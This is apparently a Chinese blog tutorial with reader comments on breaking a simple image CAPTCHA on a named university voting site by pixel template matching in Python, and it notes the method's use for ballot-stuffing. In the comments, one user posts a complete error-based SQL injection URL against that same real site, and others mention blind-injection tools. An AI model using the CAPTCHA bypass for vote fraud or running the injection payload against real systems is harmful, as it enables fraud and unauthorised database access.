背景
笔记本硬盘坏了,数据没了,盘里面的数据价值肯定超过联想数据恢复的RMB1500高价,不过当时身五分银,还是算了。。。
新硬盘需要重装很多东西,今晚在群里看到给宿舍评分的给力投票,网址上的验证码做得很水,想涉足一下传说中的验证码识别技术!
原理
对于简单的验证码,使用的原理也相当的简单。
现在有两个长度一致的二进制的数字,1110111011101和1010111011100,比较他们的相似度可以使用XOR运算!
1110111011101 XOR 1010111011100 = 0100000000001
结果中,1的数目越小,相似度越高。现在比较两张单色的图片,也可以使用这样的方法。这两张图必须是规格相同的,
把两张单色的图片进行Xor,结果残留下来的白点越小,表示相似度越高!!!
for y in range(h): for x in range(w): im2.putpixel((x,y), im1.getpixel((x,y)) ^ im2.getpixel((x,y))) im2.show()
上面两个1的进行XOR运算,得到了不同像素点的个数。如上图所示,一共有3个。
同时,我们把右图的1跟其他字符或数字的模板进行比较,看看相差多大。
XOR统计结果 比较字模
3 1
12 I
15 T
25 Y
30 2
34 Z
37 0
38 L
38 X
39 E
40 3
40 7
40 C
40 J
41 S
42 F
43 4
43 G
43 V
44 9
44 A
44 K
45 5
47 6
47 8
47 O
47 P
48 Q
51 M
52 N
54 D
54 R
55 B
55 U
56 W
60 H
相差最大的是H,比较相似的是I,的确1和I是有点类似的,但是差距还是比较明显的。所以识别率会很高!
准备
1. 一台运行着Ubuntu10.10的笔记本
2. 接入互联网
获取样本
从网站上得到获取的验证码地址为
http://su.100steps.net/2007/vote/verify.php
图片浏览器设置一下不要平滑图片,放大图片之后,就可以看到小小的验证码图片是由一大堆像素点拼凑而成的。
获取样本无非是为了找规律,样本越多对我们分析越好。
因为这个验证码的规律很明显,我们暂且就获取50张吧,当然不是自己一个一个去下载,写个简单的脚本来处理!
import urllib, random for i in range(50): url = 'http://su.100steps.net/2007/vote/verify.php' print "download", i file("./code/%04d.png" % random.randrange(10000), "wb").write( urllib.urlopen(url).read())i
用上面的代码保存到downloadcode.py,在当前目录建立一个code目录。然后执行
python downloadcode.py
下载了50个验证码!
观测样本
为了看清楚点,去除噪点,转换成黑白单色图!
通过观察一大堆验证码,得出如下结论:
1. 验证码不复杂,只使用了一种字体类型
2. 验证码不复杂,只使用了一种字体大小
3. 验证码不复杂,只使用了一种字体颜色
4. 验证码不复杂,每张由5个字母或数字构成,5个字母或数字的位置都是固定的
5. 验证码不复杂,没有图片的歪曲变形,没有干扰线条或图案
因此,这堆验证码非常适合识别验证码技术的初学者小试牛刀!
提取字模
既然已经知道每个字母或数字在图片中的具体位置,就可以从这些样本之中,把它们提取出来!!!
每个字模的大小都是8×10,宽8高10,单位像素。
好吧,让脚本帮我们提取这些字模:
import Image, os j = 1 for f in os.listdir("."): if f.endswith(".png"): img = Image.open(f).convert("1") for i in range(5): x = 10 + i*18 y = 6 img.crop((x, y, x+8, y+10)).save("font/%d.bmp" % j) print "j=",j j += 1
执行脚本,结果生成了250个字模。
从这些字模之中,每个数字或字母,我们只需要一个看上去比较标准的就够了。飞之同学说,如果知道它是什么字体,就可以直接用脚本生成一堆标准的模板就行了,省去自己去匹配的麻烦呢。
识别程序
代码的流程比较简单,先加载标准的模板,然后读取一张验证码的图片,裁剪出这张图片的每个数字或字母的局部图,然后跟我们的标准模板进行比较,统计像素点不相同的个数。然后把每个字模的统计结果进行排序,不相同点个数最小的,相似度就应当是最高的了!!!
下面的代码把识别出来的验证码另存到result目录下,并以结果命名!
import os, Image # load font modules (char, image) fontMods = [] for i in range(10): fontMods.append((str(i), Image.open("./good/%02d.bmp" % i))) for i in range(26): c = chr(ord('A') + i) fontMods.append((c, Image.open("./good/%s.bmp" % c))) def recognize(f): im = Image.open(f) im2 = im.convert('1') # check 5 fonts result = "./result/" for i in range(5): x = 10 + i*18 y = 6 target = im.crop((x, y, x+8, y+10)) points = [] for mod in fontMods: diffs = 0 for yi in range(10): for xi in range(8): if mod[1].getpixel((xi, yi)) != target.getpixel((xi, yi)): diffs += 1 points.append((diffs, mod[0])) points.sort() result += points[0][1] result += ".png" print "save to", result im.save(result); for imgfile in os.listdir("."): if imgfile.endswith(".png"): recognize(imgfile)
效果图片:
50个验证码中,有两三个出现了把E识别成B的现象,其他问题都不大,识别成功率超过90%。
小结
机器识别验证码,能够超过90%的正确率已经是相当不错的了。有的验证码肉眼识别也达不到90%,所以有的网站提供的验证码,我要更换好几次!!!
如果是用来刷票,超过50%的识别率都已足够啦!
这次试验只是用来进行入门,复杂一些的验证码就不能只是这么做了,还需要考虑很多问题,对图片预处理复杂很多吧,识别的时候也可以考虑加入学习功能(例如神经网络)来逐步提高识别的成功率。因此,仅仅是菜鸟入门,大牛可以无视之。
哈哈,居然被我抢到了沙发
膜拜。
科班出生的学习能力很强悍,看好小虾。
这种级别的验证码。。。。。
额,虾哥也遇到数据无法找回的问题了。我今天TF卡数据也丢了,同病相怜啊。缅怀那些永远消失的数据和代码中……
是啊,科技发达了,每年都会不见好多重要数据。
自己写的第一个千行以上的程序就是这样消失的….
希望能认识,学习交流下验证码识别,但不知是否能得愿
我也只是略懂皮毛,没有深入研究下去了!大家有什么好的想法,可以一起分享交流一下的
你的QQ是多少?能QQ交流下吗
357339036
你只是丢了TF卡数据,我是丢了iphone
验证码识别挺有意思的,
很长一段时间没再写了。
下次看到有意思的验证码我给你个消息,O(∩_∩)O~
脚本貌似很有用很好玩!我也要学学!哈哈!
你写的是python的脚本吧?
是啊!!!很方便。
在考虑用OpenCV实现验证码。形态学的方法可以破解一些歪歪扭扭的变形
硬盘有价数据无价,重要数据要做到有备无患。你的技术文章写得是又技术又详细,佩服,希望你能保持,让我们这等菜鸟可以从你这里学到点滴!
啊!我也在做!不过我的思路不是你那样的!Tesseract+ImageMagick +system()。正确率很高了
http://su.100steps.net/2007/hello.txt
服务器性能挺好的,方便的话你其实可以把Blog放上面的。
膜拜黑客!!!
一堆注射。。不玩了。。
http://su.100steps.net/2009/rights/effect_look.php?id=27%20and%28select%201%20from%28select%20count%28*%29%2Cconcat%28%28select%20%28select%20%28SELECT%20distinct%20concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28table_name%20as%20char%29%29%29%2C0x27%2C0x7e%29%20FROM%20information_schema.tables%20Where%20table_schema%3D0x73747564656E74756E696F6E%20limit%20325%2C1%29%29%20from%20information_schema.tables%20limit%200%2C1%29%2Cfloor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20
哇!!!看来我也要掌握一下这方面的技能了!!!
不过,有办法注入启用了gpc模式的php站点吗?
可以,返回结果不同,盲注… 或者直接用工具 sqlmap safe3 都可以。。。
你个大黑客!竟然在这看到你留言了!
又见python!
膜拜
百步梯??华工?
嗯,怎么了?
话说python真强大,我用C++做了,需要好多代码才行……还得用别人的图形库……
Life is Short, you need Python!
这个网站的验证码确实水得很~
上个学期搞十佳班集体,我们也搞过验证码识别,并配合按键精灵实现了自动刷票。
学习一下很好哦!
这个验证码直接用opencv能够得到内容。而且用不着按键精灵~~~ 直接发送http请求爆服务器!
Pingback引用通告: 一个对研究验证码识别技术的例子 » 逍遥叹'blog
前一段时间碰巧帮同学弄过一个验证码识别,差不多的方法
那个”1″的数量其实就是汉明距离
简单的神经网络算法或者模糊判决还是很容易实现的,有兴趣可以试下。
好,这个学期正在学习Pattern Recognition 🙂
Pingback引用通告: 无聊入门一下传说中的验证码识别技术,学习笔记(转载) | dust8
一点关键代码都没放出来吗?去噪声似乎简单用 Image.open(“8166.png”).convert(“l”).show() 不行啊。python版本2.6.6。 convet中必须用大写的”L”, 小写的l 会报错。不管用大写L 还是数字1,不会报错,但没任何效果。刚看python不久,不知是什么原因?
膜拜啊!我也是华工的。python写的文字识别。我最近也在研究。希望大家交流一下
Pingback引用通告: 传说中的验证码识别技术 « V2SK
嗯,不错!识别率很高!
Pingback引用通告: 和煦的点滴 » PHP 识别京东商城图片价格转换,正确率基本上100%
可是我们平常见到的都是歪歪扭扭的验证码啊,这些验证码好像没啥规律可寻,又应该怎么做呢?
Pingback引用通告: Python简单验证码识别 – 有梦